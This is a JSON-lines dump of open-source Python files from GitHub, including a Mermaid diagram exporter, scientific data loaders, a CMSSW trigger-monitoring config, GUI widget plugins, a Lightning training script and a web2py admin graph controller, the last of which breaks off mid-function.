logger.error(f\"Pandoc is not installed on the host machine. {e}\")\n sys.exit(1)\n\n doc = panflute.load(io.StringIO(data))\n doc.mermaid = {}\n return doc\n\n\ndef export_mermaid_blocks(elem, doc, output):\n \"\"\"This function is called for every element in the content list. For every element we check if it's a mermaid\n code block. If it is a mermaid code block:\n\n * Save the mermaid code to a `input.mmd`\n * Export `input.mmd` to an randomly named image `npm run export_image -- -i input.mmd -o random_name.png`\n * Store where the index of the mermaid block in the content list so we can later replace it with an image.\n\n The reason we don't replace the code block with an image here is because panflute expects a \"Block\" object\n to be returned. Hence we store where the code block is, so we can replace it later.\n\n Args:\n element (panflute.elements.x): An element in the markdown file, i.e. `panflute.elements.CodeBlock`.\n doc (panflute.Doc): Pandoc document container, has a mermaid attribute, where we store code block \\\n index and image path.\n output (str): Path to the output folder where the new markdown files will be saved.\n\n \"\"\"\n if isinstance(elem, panflute.CodeBlock) and \"mermaid\" in elem.classes:\n output_text = elem.text\n image_name = uuid.uuid4().hex\n first_line = elem.text.split(\"\\n\")[0]\n if first_line.startswith(\"\"\"%% Image: \"\"\"):\n output_text = elem.text.replace(first_line, \"\")\n image_name = first_line.replace(\"\"\"%% Image: \"\"\", \"\").strip()\n\n with open(\"input.mmd\", \"w+\") as tmp:\n tmp.write(output_text)\n\n output_name = f\"{image_name}.png\"\n output_path = os.path.join(output, output_name)\n\n puppeteer = \"\"\n if os.path.isfile(\"/usr/bin/chromium-browser\"):\n puppeteer = \"-p /data/puppeteer.json\"\n\n mmdc_default_installation = f\"{os.path.expanduser('~')}/node_modules/.bin/mmdc\"\n mmdc = \"mmdc\" if which(\"mmdc\") else mmdc_default_installation\n command = [f\"{mmdc} -i input.mmd -o {output_path} {puppeteer}\"]\n mermaid_output = subprocess.check_output(command, shell=True, timeout=180)\n logger.info(mermaid_output)\n os.remove(\"input.mmd\")\n doc.mermaid[elem.index] = output_name\n\n\ndef replace_mermaid_blocks_with_images(doc):\n \"\"\"Replaces all mermaid code blocks with image blocks. Then saves the markdown content as a new file.\n\n Args:\n doc (panflute.Doc): Pandoc document container, has a mermaid attribute, where the code block \\\n index and image path are stored.\n\n \"\"\"\n logger.info(\"Replacing mermaid code blocks with image blocks.\")\n for mermaid_block_index, image_path in doc.mermaid.items():\n logger.debug(f\"Replacing mermaid block {doc.content.list[mermaid_block_index]}.\")\n image_element = panflute.Para(panflute.Image(panflute.Str(\"Image\"), url=image_path))\n doc.content.list[mermaid_block_index] = image_element\n\n\ndef save_new_file(doc, new_file_name):\n \"\"\"Saves the new markdown content to a file.\n\n Args:\n doc (panflute.Doc): Pandoc document container, has a mermaid attribute, where the code block \\\n index and image path are stored.\n new_file_name (str): Path where to save the new markdown file.\n\n \"\"\"\n logger.info(f\"Saving new file to {new_file_name}.\")\n with io.StringIO() as temp_file:\n panflute.dump(doc, temp_file)\n contents = temp_file.getvalue()\n\n try:\n pypandoc.convert_text(contents, \"markdown_github\", \"json\", outputfile=new_file_name)\n except OSError as e:\n logger.error(f\"Failed to save file, check permissions. {e}.\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n cli(sys.argv[1:])\n","repo_name":"hmajid2301/markdown-mermaid-to-images","sub_path":"src/markdown_mermaid_to_images/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":10651,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"1573737379","text":"n = list(map(int, input().split()))\r\na, b = list([n[0], n[1]]), list([n[2], n[3]])\r\na.sort(), b.sort()\r\na1, a2 = set(), set()\r\n\r\nfor i in range(a[0], a[1] + 1):\r\n a1.add(i)\r\nfor j in range(b[0], b[1] + 1):\r\n a2.add(j)\r\nprint(len(a1 & a2))\r\n","repo_name":"oOoSanyokoOo/Course-Python-Programming-Basics","sub_path":"Пересадки.py","file_name":"Пересадки.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"40187264370","text":"import FWCore.ParameterSet.Config as cms\n\nfrom DQMServices.Core.DQMEDAnalyzer import DQMEDAnalyzer\nveryHighEtDQM = DQMEDAnalyzer('EmDQM',\n genEtaAcc = cms.double(2.5),\n genEtAcc = cms.double(2.0),\n reqNum = cms.uint32(1),\n filters = cms.VPSet(cms.PSet(\n PlotBounds = cms.vdouble(0.0, 0.0),\n HLTCollectionLabels = cms.InputTag(\"hltL1sRelaxedSingleEgamma\",\"\",\"HLT\"),\n IsoCollections = cms.VInputTag(cms.InputTag(\"none\")),\n theHLTOutputTypes = cms.uint32(82)\n ), \n cms.PSet(\n PlotBounds = cms.vdouble(0.0, 0.0),\n HLTCollectionLabels = cms.InputTag(\"hltL1NonIsoSingleEMVeryHighEtL1MatchFilterRegional\",\"\",\"HLT\"),\n IsoCollections = cms.VInputTag(cms.InputTag(\"none\")),\n theHLTOutputTypes = cms.uint32(100)\n ), \n cms.PSet(\n PlotBounds = cms.vdouble(0.0, 0.0),\n HLTCollectionLabels = cms.InputTag(\"hltL1NonIsoSinglePhotonEMVeryHighEtEtFilter\",\"\",\"HLT\"),\n IsoCollections = cms.VInputTag(cms.InputTag(\"none\")),\n theHLTOutputTypes = cms.uint32(100)\n )),\n PtMax = cms.untracked.double(4000.0),\n pdgGen = cms.int32(11)\n)\n\n\n\n","repo_name":"cms-sw/cmssw","sub_path":"HLTriggerOffline/Egamma/python/veryHighEtDQM_cfi.py","file_name":"veryHighEtDQM_cfi.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"73821531354","text":"from __future__ import print_function\nimport sys\nimport numpy as np\nfrom collections import Counter\nfrom Utils.MyDataset import MyDataset\nimport pickle\nfrom tqdm import tqdm\nimport pandas as pd\n\nX_DIR = '/data/Xy/2018_04_10_ERA_interim_storm/X_pl_crop25_z_u_v/'\nX_DIR2 = '/data/Xy/2018_04_10_ERA_interim_storm/X_pl_crop25_z_u_v_historic6h/'\nY_DIR_D = '/data/Xy/2018_04_10_ERA_interim_storm/y_disp2/'\nData_stormids_csv = \"/data/Xy/2018_04_10_ERA_interim_storm/1D_data_matrix_IBTRACS.csv\"\n\n\n\ndef load_datasets(sample=0.1, list_params=None, load_t = (0, -6), valid_split=0.2, test_split=0.2, randomseed=47):\n \"\"\"\n load X1, Y, storm ids from raw pkl files\n :param list_params:\n :param sample: the proportion of sampling, Set sample=1.0 to get the whole data\n :param category: type of label to load, if True, load category as label, if False, load deplacement\n :param localtest: If True, load data from local directory, if False, load from cluster\n :return: X1,Y,storm_ids\n \"\"\"\n\n if list_params is None:\n list_params = ['r', 'd', 'o3', 'v', 'ciwc', 'q', 'pv', 'z', 'clwc', 't', 'w', 'vo', 'u', 'cc']\n X1 = []\n X2 = []\n Y = []\n storm_ids = []\n print('loading from pkls ...')\n # load which y\n x_dir = X_DIR\n x_dir2 = X_DIR2\n y_dir = Y_DIR_D\n\n data = pd.read_csv(Data_stormids_csv)\n stormids = np.unique(data['stormid'].values)\n for filename in tqdm(stormids):\n non_empty_storm = False # check if the storm is empty\n if np.random.random() > sample:\n continue\n else:\n if 0 in load_t:\n with open(x_dir+filename+'.pkl', 'rb') as f:\n storm_data = pickle.load(f)\n if len(storm_data['grids']) != 0:\n non_empty_storm = True\n storm_i = []\n for storm_t in storm_data['grids'][:]:\n grid_allchannels = []\n for key in list_params:\n grid = storm_t[key]\n grid_allchannels.append(grid)\n storm_i.append(grid_allchannels)\n X1.append(storm_i)\n storm_ids.append(filename)\n del storm_data\n if -6 in load_t:\n with open(x_dir2+filename+'.pkl', 'rb') as f:\n storm_data = pickle.load(f)\n if len(storm_data['grids']) != 0:\n non_empty_storm = True\n storm2_i = []\n for storm_t in storm_data['grids'][:]:\n grid_allchannels = []\n for key in list_params:\n grid = storm_t[key]\n grid_allchannels.append(grid)\n storm2_i.append(grid_allchannels)\n X2.append(storm2_i)\n del storm_data\n for item in load_t:\n if item not in (0,-6,-12):\n raise ValueError('only support for t, t-6, t-12')\n\n with open(y_dir+filename+'.pkl', 'rb') as f:\n y_data = pickle.load(f)\n if non_empty_storm is True:\n y_labels = []\n n_storms = len(y_data['next_disp'])\n for i in range(n_storms):\n y_label_i = [y_data['curr_longlat'][i], y_data['curr_longlat'][i+1], y_data['next_disp'][i]]\n y_labels.append(y_label_i)\n Y.append(y_labels)\n\n # set indices for train, valid, test\n num_storm = len(X1)\n indices = list(range(num_storm))\n num_test = int(np.floor(test_split * num_storm))\n num_valid = int(np.floor(valid_split * num_storm))\n np.random.seed(randomseed)\n np.random.shuffle(indices)\n train_idx, valid_idx, test_idx =\\\n indices[:-num_valid-num_test], indices[-num_valid-num_test:-num_test], indices[-num_test:]\n\n trainset = load_foldset(train_idx, storm_ids, Y, X1, X2)\n validset = load_foldset(valid_idx, storm_ids, Y, X1, X2)\n testset = load_foldset(test_idx, storm_ids, Y, X1, X2)\n\n return trainset, validset, testset\n\n\n\ndef load_foldset(fold_idx, storm_ids, Y, X1, X2=None):\n \"\"\"\n :return: foldset (train, test ou valid)\n \"\"\"\n first_non_empty_X=True\n for X in (X1, X2):\n if X != [] and X is not None:\n if first_non_empty_X is True:\n # !!called train in the future, but it actually depend on the fold.\n\n fold_X = list(X[i] for i in fold_idx)\n fold_Y = list(Y[i] for i in fold_idx)\n fold_ids = list(storm_ids[i] for i in fold_idx)\n\n # put datapoints from different storm to a big list\n for idx, storm in enumerate(fold_X):\n fold_ids[idx] = np.repeat(fold_ids[idx],len(storm))\n fold_ids = reduce_dim(fold_ids)\n fold_X = reduce_dim_float32(fold_X)\n fold_Y = reduce_dim_float32(fold_Y)\n\n #set Y to be double float\n fold_Y = np.double(fold_Y)\n\n # convert nan to 0\n np.nan_to_num(fold_X, copy=False)\n np.nan_to_num(fold_Y, copy=False)\n\n # get list of timesteps\n fold_timestep = []\n fold_indexes = np.unique(fold_ids, return_index=True)[1]\n fold_ids_list = [fold_ids[index] for index in sorted(fold_indexes)]\n fold_ids_count = Counter(fold_ids)\n for id in fold_ids_list:\n fold_timestep.extend(list(range(fold_ids_count[id])))\n\n # set flag 'first_non_empty_X' to be False\n first_non_empty_X = False\n\n else:\n fold_X2 = list(X[i] for i in fold_idx)\n fold_X2 = reduce_dim_float32(fold_X2)\n fold_X = np.concatenate((fold_X, fold_X2), axis=1)\n\n # foldset can be either train, test ou valid.\n foldset = MyDataset(fold_X, fold_Y, fold_ids, fold_timestep)\n\n return foldset\n\n\ndef reduce_dim(X):\n X_reduced = []\n for x in tqdm(X):\n X_reduced.extend(x)\n X_reduced_array = np.array(X_reduced)\n return X_reduced_array\n\n\ndef reduce_dim_float32(X):\n X_reduced = []\n for x in tqdm(X):\n X_reduced.extend(x)\n X_reduced_array = np.array(X_reduced, dtype=np.float32)\n return X_reduced_array\n\n\n","repo_name":"sophiegif/FusionCNN_hurricanes","sub_path":"Utils/model_inputs_3D.py","file_name":"model_inputs_3D.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"50"} +{"seq_id":"6592699024","text":"#####################################\n# --- Day 8: Space Image Format --- #\n#####################################\n\nimport AOCUtils\n\n#####################################\n\nw, h = 25, 6\nimage = [int(i) for i in str(AOCUtils.loadInput(8))]\n\nlayerAmt = len(image) // (w*h)\n\nlayers = []\nlayerCounts = []\nfor l in range(layerAmt):\n layer = []\n for x in range(h):\n s, e = l*w*h + x*w, l*w*h + (x+1)*w\n layer.append(image[s:e])\n\n layers.append(layer)\n\n lc0 = sum(l.count(0) for l in layer)\n lc1 = sum(l.count(1) for l in layer)\n lc2 = sum(l.count(2) for l in layer)\n layerCounts.append((lc0, lc1, lc2))\n\nlayerCounts.sort()\nchecksum = layerCounts[0][1] * layerCounts[0][2]\n\nprint(\"Part 1: {}\".format(checksum))\n\nimage = [[None for _ in range(w)] for _ in range(h)]\nfor i in range(h):\n for j in range(w):\n for layer in layers:\n if image[i][j] is None and layer[i][j] != 2:\n image[i][j] = layer[i][j]\n\nprint(\"Part 2:\")\nfor i in range(h):\n for j in range(w):\n if image[i][j] == 1:\n print(\"##\", end=\"\")\n else:\n print(\" \", end=\"\")\n print()\n\nAOCUtils.printTimeTaken()","repo_name":"KanegaeGabriel/advent-of-code-2019","sub_path":"08_space_image_format.py","file_name":"08_space_image_format.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"24884246990","text":"# Author: Tiago M. de Barros\n# Date: 2022-08-26\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\n\n# File names to use\nFILE_INPUT = \"data_sample.xlsx\"\nFILE_TRAIN = \"data_train.csv\"\nFILE_TEST = \"data_test.csv\"\n\n# Pandas display option\npd.set_option(\"display.max_columns\", None)\n\n# Set seaborn theme\nsns.set_theme()\n\n\ndef main():\n \"Main function\"\n\n data = pd.read_excel(FILE_INPUT, header=0, engine=\"openpyxl\")\n\n # Check data shape\n print(f\"Input data shape: {data.shape}\")\n\n # Check for missing data\n print(f\"Null entries: {data.isnull().sum().sum()}\\n\")\n\n # Check data summary information\n data.info()\n\n # Check data descriptive statistics\n print(\"\\n\", data.describe())\n\n # Print negative values of time\n negative = data[\"Dump spot time/s\"][data[\"Dump spot time/s\"] < 0]\n print(f\"\\nNegative time:\\n{negative}\")\n\n # Drop these entries\n data = data.drop(negative.index)\n\n # Drop entries containing outliers\n data = remove_outliers(data, \"Production/bcm\", 140000)\n data = remove_outliers(data, \"Cycle distance empty/m\", 10000)\n data = remove_outliers(data, \"Cycle distance full/m\", 10000)\n data = remove_outliers(data, \"Spot total duration/s\", 120)\n data = remove_outliers(data, \"Load time/s\", 240)\n data = remove_outliers(data, \"Dump spot time/s\", 40)\n data = remove_outliers(data, \"Dump spot time/s\", 5, True)\n data = remove_outliers(data, \"Off circuit travel time/s\", 4000)\n data = remove_outliers(data, \"Truck production hours\", 400, True)\n data = remove_outliers(data, \"Loader production hours\", 100, True)\n\n # Check correlation between features\n sns.heatmap(data.corr(), cmap=plt.cm.Reds, annot=True, fmt=\".1g\")\n plt.show()\n\n # Drop features presenting multicollinearity\n data = data.drop(columns=[\"Travel empty speed/kmh\",\n \"Cycle distance empty/m\",\n \"Cycle distance full/m\",\n \"Rise distance empty/m\",\n \"Travel empty duration/s\",\n \"Total cycle time/s\",\n \"Number of loading units\",\n \"Truck available hours\",\n \"Loader available hours\"])\n\n # Plot new correlation between features\n sns.heatmap(data.corr(), cmap=plt.cm.Reds, annot=True)\n plt.show()\n\n # Check multi-variate relationship (it may take some time to plot)\n sns.pairplot(data, diag_kind=\"kde\")\n plt.show()\n\n print(f\"\\nNew data shape: {data.shape}\")\n\n # Split data into training and test sets\n X_train, X_test = train_test_split(data,\n test_size=0.1,\n shuffle=True,\n random_state=42)\n\n # Save the sets as CSV files\n X_train.to_csv(FILE_TRAIN, header=True, index=True)\n X_test.to_csv(FILE_TEST, header=True, index=True)\n\n print(f\"\\nSaved training ({FILE_TRAIN}) and test ({FILE_TEST}) sets.\")\n\n\ndef remove_outliers(data: pd.DataFrame,\n field: str,\n threshold: int,\n lessthan: bool = False) -> pd.DataFrame:\n \"Removes outliers from data\"\n\n sns.boxplot(x=data[field])\n plt.show()\n if lessthan:\n outliers = data[field][data[field] < threshold]\n else:\n outliers = data[field][data[field] > threshold]\n\n return data.drop(outliers.index)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"slackhideo/shifts-data-analysis","sub_path":"0_clean_split.py","file_name":"0_clean_split.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"28014594615","text":"import datetime\n\nfrom django.contrib.gis.db import models\nfrom django.contrib.auth.models import User\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(User)\n bio = models.TextField(blank=True, null=True)\n\n def __unicode__(self):\n return self.user.username\n\n class Meta:\n db_table = 'profiles'\n app_label = 'ethnoua'\n verbose_name = 'profile'\n verbose_name_plural = 'profiles'\n","repo_name":"ethnoua/ethnoua","sub_path":"src/ethnoua/models/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5683067459","text":"from pygubu.i18n import _\nfrom pygubu.api.v1 import register_widget, register_custom_property\nfrom pygubu.plugins.tk.tkstdwidgets import TKCanvas\nfrom ttkwidgets.color import AlphaBar, ColorSquare, GradientBar\nfrom ttkwidgets.color.functions import rgb_to_hsv\nfrom PIL.ImageColor import getrgb\nfrom ..ttkwidgets import _designer_tab_label, _plugin_uid\n\n\nclass AlphaBarBO(TKCanvas):\n class_ = AlphaBar\n container = False\n OPTIONS_CUSTOM = (\"alpha\", \"color\", \"variable\")\n properties = (\n TKCanvas.OPTIONS_STANDARD + TKCanvas.OPTIONS_SPECIFIC + OPTIONS_CUSTOM\n )\n ro_properties = OPTIONS_CUSTOM + (\"height\", \"width\")\n virtual_events = (\"<>\",)\n\n def _process_property_value(self, pname, value):\n final_value = None\n if pname in (\"alpha\", \"height\", \"width\"):\n final_value = int(value)\n elif pname == \"color\":\n final_value = getrgb(value)\n else:\n final_value = super(AlphaBarBO, self)._process_property_value(\n pname, value\n )\n return final_value\n\n def _code_process_property_value(self, targetid, pname, value):\n if pname == \"color\":\n return f'getrgb(\"{value}\")'\n return super()._code_process_property_value(targetid, pname, value)\n\n def code_imports(self):\n return ((\"PIL.ImageColor\", \"getrgb\"), (\"ttkwidgets.color\", \"AlphaBar\"))\n\n\n_builder_uid = f\"{_plugin_uid}.AlphaBar\"\n\nregister_widget(\n _builder_uid, AlphaBarBO, \"AlphaBar\", (\"ttk\", _designer_tab_label), group=5\n)\n\nregister_custom_property(\n _builder_uid,\n \"alpha\",\n \"integernumber\",\n help=_(\"initially selected alpha value (between 0 and 255)\"),\n)\nregister_custom_property(\n _builder_uid, \"color\", \"colorentry\", help=_(\"gradient color\")\n)\nregister_custom_property(\n _builder_uid,\n \"variable\",\n \"tkvarentry\",\n help=_(\"variable linked to the alpha value\"),\n)\n\n\nclass ColorSquareBO(TKCanvas):\n class_ = ColorSquare\n container = False\n OPTIONS_CUSTOM = (\"hue\", \"color\")\n properties = (\n TKCanvas.OPTIONS_STANDARD + TKCanvas.OPTIONS_SPECIFIC + OPTIONS_CUSTOM\n )\n ro_properties = OPTIONS_CUSTOM + (\"height\", \"width\")\n virtual_events = (\"<>\",)\n\n def realize(self, parent, extra_init_args: dict = None):\n args = self._get_init_args(extra_init_args)\n master = parent.get_child_master()\n hue_value = args.pop(\"hue\", 0)\n self.widget = self.class_(master, hue_value, **args)\n return self.widget\n\n def _process_property_value(self, pname, value):\n final_value = None\n if pname in (\"hue\", \"height\", \"width\"):\n final_value = int(value)\n elif pname == \"color\":\n rgb = getrgb(value)\n final_value = rgb_to_hsv(*rgb)\n else:\n final_value = super(ColorSquareBO, self)._process_property_value(\n pname, value\n )\n return final_value\n\n def _code_process_property_value(self, targetid, pname, value):\n if pname == \"color\":\n return f'rgb_to_hsv(*getrgb(\"{value}\"))'\n return super()._code_process_property_value(targetid, pname, value)\n\n def code_imports(self):\n return (\n (\"PIL.ImageColor\", \"getrgb\"),\n (\"ttkwidgets.color\", \"ColorSquare\"),\n (\"ttkwidgets.color.functions\", \"rgb_to_hsv\"),\n )\n\n\n_builder_uid = f\"{_plugin_uid}.ColorSquare\"\n\nregister_widget(\n _builder_uid,\n ColorSquareBO,\n \"ColorSquare\",\n (\"ttk\", _designer_tab_label),\n group=5,\n)\n\n# Custom properties\nregister_custom_property(\n _builder_uid,\n \"hue\",\n \"integernumber\",\n default_value=0,\n help=_(\"hue (between 0 and 360) of the color square gradient\"),\n)\nregister_custom_property(\n _builder_uid, \"color\", \"colorentry\", help=_(\"initially selected color\")\n)\n\n\nclass GradientBarBO(TKCanvas):\n class_ = GradientBar\n container = False\n OPTIONS_CUSTOM = (\"hue\", \"variable\")\n properties = (\n TKCanvas.OPTIONS_STANDARD + TKCanvas.OPTIONS_SPECIFIC + OPTIONS_CUSTOM\n )\n ro_properties = OPTIONS_CUSTOM + (\"height\", \"width\")\n virtual_events = (\"<>\",)\n\n def _process_property_value(self, pname, value):\n final_value = None\n if pname in (\"hue\", \"height\", \"width\"):\n final_value = int(value)\n else:\n final_value = super(GradientBarBO, self)._process_property_value(\n pname, value\n )\n return final_value\n\n def code_imports(self):\n return ((\"ttkwidgets.color\", \"GradientBar\"),)\n\n\n_builder_uid = f\"{_plugin_uid}.GradientBar\"\n\nregister_widget(\n _builder_uid,\n GradientBarBO,\n \"GradientBar\",\n (\"ttk\", _designer_tab_label),\n group=5,\n)\n\nregister_custom_property(\n _builder_uid,\n \"hue\",\n \"integernumber\",\n help=_(\"initially selected hue value (between 0 and 360)\"),\n)\nregister_custom_property(\n _builder_uid,\n \"variable\",\n \"tkvarentry\",\n help=_(\"variable linked to the hue value\"),\n)\n","repo_name":"alejandroautalan/pygubu","sub_path":"src/pygubu/plugins/ttkwidgets/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":5024,"program_lang":"python","lang":"en","doc_type":"code","stars":1900,"dataset":"github-code","pt":"50"} +{"seq_id":"9853288336","text":"import os\nfrom typing import List, Optional\n\nimport hydra\nfrom omegaconf import DictConfig\nfrom pytorch_lightning import (\n Callback,\n LightningDataModule,\n LightningModule,\n Trainer,\n seed_everything,\n)\nfrom pytorch_lightning.loggers import LightningLoggerBase\n\nfrom src.utils import utils\nfrom pytorch_lightning import plugins\nlog = utils.get_logger(__name__)\n\n\ndef get_pl_logger(cfg: DictConfig) -> List[LightningLoggerBase]:\n loggers: List[LightningLoggerBase] = []\n if \"logger\" in cfg:\n for _, lg_conf in cfg[\"logger\"].items():\n if \"_target_\" in lg_conf:\n log.info(f\"Instantiating logger <{lg_conf._target_}>\")\n logger = hydra.utils.instantiate(lg_conf)\n loggers.append(logger)\n while True:\n try:\n # sometimes fail for unknown reason\n print(logger.experiment)\n break\n except BaseException:\n pass\n\n if \"wandb\" in lg_conf[\"_target_\"]:\n id = \"offline\"\n # if not cfg.debug:\n # will upload this run to cloud\n log.info(f\"wandb url in {logger.experiment.url}\")\n # get id from x-y-id\n id = logger.experiment.name.rsplit('-', 1)[1]\n cfg.callbacks.model_checkpoint.dirpath = os.path.join(\n cfg.callbacks.model_checkpoint.dirpath, id\n )\n # if debug, not saving checkpoint at all\n # since del in `touch`\n return loggers\n\n\ndef train(config: DictConfig) -> Optional[float]:\n \"\"\"Contains training pipeline.\n Instantiates all PyTorch Lightning objects from config.\n\n Args:\n config (DictConfig): Configuration composed by Hydra.\n\n Returns:\n Optional[float]: Metric score for hyperparameter optimization.\n \"\"\"\n\n # Set seed for random number generators in pytorch, numpy and python.random\n if config.get(\"seed\"):\n seed_everything(config.seed, workers=True)\n\n # Init lightning datamodule\n log.info(f\"Instantiating datamodule <{config.datamodule._target_}>\")\n datamodule: LightningDataModule = hydra.utils.instantiate(config.datamodule)\n\n # Init lightning module\n log.info(f\"Instantiating model <{config.module._target_}>\")\n model: LightningModule = hydra.utils.instantiate(\n config.module, optcfg=config.module.optim,\n schcfg=getattr(config.module, \"scheduler\", None),\n _recursive_=False\n )\n\n # Init lightning loggers\n logger: List[LightningLoggerBase] = get_pl_logger(config)\n\n\n # Init lightning callbacks\n callbacks: List[Callback] = []\n if \"callbacks\" in config:\n for _, cb_conf in config.callbacks.items():\n if \"_target_\" in cb_conf:\n log.info(f\"Instantiating callback <{cb_conf._target_}>\")\n callbacks.append(hydra.utils.instantiate(cb_conf))\n\n # Init lightning trainer\n log.info(f\"Instantiating trainer <{config.trainer._target_}>\")\n trainer: Trainer = hydra.utils.instantiate(\n config.trainer, callbacks=callbacks, logger=logger, _convert_=\"partial\"\n )\n\n # Send some parameters from config to all lightning loggers\n log.info(\"Logging hyperparameters!\")\n utils.log_hyperparameters(\n config=config,\n model=model,\n datamodule=datamodule,\n trainer=trainer,\n callbacks=callbacks,\n logger=logger,\n )\n\n # Train the module\n log.info(\"Starting training!\")\n trainer.fit(model=model, datamodule=datamodule)\n\n # Evaluate module on test set, using the best module achieved during training\n if config.get(\"test_after_training\") and not config.trainer.get(\"fast_dev_run\"):\n log.info(\"Starting testing!\")\n trainer.test()\n\n # Make sure everything closed properly\n log.info(\"Finalizing!\")\n utils.finish(\n config=config,\n model=model,\n datamodule=datamodule,\n trainer=trainer,\n callbacks=callbacks,\n logger=logger,\n )\n\n # Print path to best checkpoint\n if not config.trainer.get(\"fast_dev_run\"):\n log.info(f\"Best model ckpt: {trainer.checkpoint_callback.best_model_path}\")\n\n # save LM ckpt\n model = type(model).load_from_checkpoint(trainer.checkpoint_callback.best_model_path)\n LM = model.transformer\n LM.save_pretrained(f\"{config.callbacks.model_checkpoint.dirpath}/LM\")\n\n # Return metric score for hyperparameter optimization\n optimized_metric = config.get(\"optimized_metric\")\n if optimized_metric:\n return trainer.callback_metrics[optimized_metric]","repo_name":"cnut1648/uncanny_valley","sub_path":"motif/lightning/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36853509589","text":"# -*- coding: utf-8 -*-\n\n###################### copy/paste from appadmin.py ###############\n\n# ##########################################################\n# ## make sure administrator is on localhost\n# ###########################################################\n\nimport os\nimport socket\nimport datetime\nimport copy\nimport gluon.contenttype\nimport gluon.fileutils\n\ntry:\n import pygraphviz as pgv\nexcept ImportError:\n pgv = None\n\nis_gae = request.env.web2py_runtime_gae or False\n\n# ## critical --- make a copy of the environment\n\nglobal_env = copy.copy(globals())\nglobal_env['datetime'] = datetime\n\nhttp_host = request.env.http_host.split(':')[0]\nremote_addr = request.env.remote_addr\ntry:\n hosts = (http_host, socket.gethostname(),\n socket.gethostbyname(http_host),\n '::1', '127.0.0.1', '::ffff:127.0.0.1')\nexcept:\n hosts = (http_host, )\n\nif request.is_https:\n session.secure()\nelif (remote_addr not in hosts) and (remote_addr != \"127.0.0.1\"):\n # and (request.function != 'manage'):\n raise HTTP(200, T('appadmin is disabled because insecure channel'))\n\n################## some auxilary functions \n\ndef get_databases(request):\n dbs = {}\n for (key, value) in global_env.items():\n cond = False\n try:\n cond = isinstance(value, GQLDB)\n except:\n cond = isinstance(value, SQLDB)\n if cond:\n dbs[key] = value\n return dbs\n\ndatabases = get_databases(None)\n\n############# DIFF's start here ####################\n\nTABLE_ADMIN_HREF_TPL = URL(\"appadmin\", \"select\")+\"/db?query=db.%s\" # CAN CONFIG to point to phpmyadmin, adminer or so...\n# example: \"http://127.0.0.1:8000/app/appadmin/select/db?query=db.address_country\"\n\ndef index(): redirect( URL( 'graph_model' ))\n\ndef table_template(table):\n from gluon.html import TR, TD, TABLE, TAG\n\n def FONT(*args, **kwargs):\n return TAG.font(*args, **kwargs)\n\n def types(field):\n f_type = field.type\n if not isinstance(f_type,str):\n return ' '\n elif f_type == 'string':\n return field.length\n elif f_type == 'id':\n return B('pk')\n elif f_type.startswith('reference') or \\\n f_type.startswith('list:reference'):\n return B('fk')\n else:\n return ' '\n\n def type_repr(field):\n result = field.type\n if 'reference' in field.type:\n result = field.type.replace('reference ', '--> ')\n if field.name.endswith('_id') and field.name[:-3]==result[len('--> '):] :\n result = '--> '\n return result\n \n # This is horribe HTML but the only one graphiz understands\n rows = []\n cellpadding = 4\n color = \"#000000\"\n bgcolor = \"#FFFFFF\"\n face = \"Helvetica\"\n face_bold = \"Helvetica Bold\"\n border = 0\n\n rows.append(TR(TD(FONT(table, _face=face_bold, _color='blue'), # _size=\"20\" doesn't work..\n _colspan=3, _cellpadding=cellpadding,\n _align=\"center\", _bgcolor=bgcolor)))\n for row in db[table]:\n if is_interesting_field( row.name +\" \"+ row.type +\" \"+ str(types(row)) ):\n rows.append(TR(TD(FONT(row.name, _color=color, _face=face_bold),\n _align=\"left\", _cellpadding=cellpadding,\n _border=border),\n TD(FONT(type_repr(row), _color=color, _face=face),\n _align=\"left\", _cellpadding=cellpadding,\n _border=border),\n TD(FONT(types(row), _color=color, _face=face),\n _align=\"center\", _cellpadding=cellpadding,\n _border=border)))\n return \"< %s >\" % TABLE(*rows, **dict(_bgcolor=bgcolor, _border=1,\n _cellborder=0, _cellspacing=0)\n ).xml()\n\n\ndef is_interesting_field( fieldname ):\n # defaults could be 'pk fk'\n show_fields=(request.get_vars.show_fields or '').replace('%20', ' ').split()\n if not show_fields: return True\n for word in show_fields: \n if word in fieldname: \n return True # include\n if word.startswith('-') and word[1:] in fieldname:\n return False # or exclude \n\ndef is_important_force_exceptions_first(tablename): # DEPRECATED\n # in views/appadmin.html forward vars=request.vars: =IMG(_src=URL('appadmin', 'bg_graph_model', vars=request.vars)\n # graph_model?table_filters=...&field_filters=...&show_fields=fk%20pk\n table_filters=(request.vars.table_filters or 'invoice sales_order -blind -good -batch -discount -shipment').replace('%20', ' ').split()\n \n field_filters=(request.vars.field_filters or 'user').replace('%20', ' ').split()\n # if request.vars.filters:\n # filters=request.vars.filters.split()\n\n # match by table name\n excluding_filters = [word[1:] for word in table_filters if word.startswith('-')]\n for word in excluding_filters: \n if word in tablename: \n return False # force exclude first\n \n for word in table_filters: \n if word in tablename: \n return True # include\n\n # match by field name\n for field in db[tablename]:\n for word in field_filters: # or one of it's fields' names\n if word in field.name:\n return True\n\ndef is_shown(tablename):\n if session.graph_shown_tables:\n return tablename in session.graph_shown_tables\n \ndef matches_filter(tablename):\n \"\"\"\n Takes arguments and returns 